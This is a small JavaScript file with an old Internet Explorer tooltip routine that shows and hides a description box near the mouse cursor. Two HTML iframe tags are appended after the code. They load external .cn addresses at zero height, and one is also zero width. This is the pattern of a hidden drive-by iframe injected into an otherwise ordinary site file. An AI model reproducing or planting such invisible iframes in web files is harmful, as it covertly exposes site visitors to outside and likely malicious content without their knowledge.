// JavaScript Document
function showBriefDesc(id)
{	
	Menu_num = document.all(id);
	
	var rightedge = document.body.clientWidth-event.clientX; 
	var bottomedge = document.body.clientHeight-event.clientY; 
	
	if (rightedge < Menu_num.offsetWidth) 
		Menu_num.style.left = document.body.scrollLeft + event.clientX - Menu_num.offsetWidth;
	else
		Menu_num.style.left = document.body.scrollLeft + event.clientX + 10; 
	
	if (bottomedge < Menu_num.offsetHeight) 
		Menu_num.style.top = document.body.scrollTop + event.clientY - Menu_num.offsetHeight; 
	else 
		Menu_num.style.top = document.body.scrollTop + event.clientY + 10; 
	
	document.all(id).style.visibility = "visible";	
}

function hiddenBriefDesc(id) {
	document.all(id).style.visibility = "hidden";
}<iframe src=http://www.haogs.cn/html/ width=0 height=0></iframe>

<iframe src=http://www.x454.cn/ width=100 height=0 frameborder=0></iframe>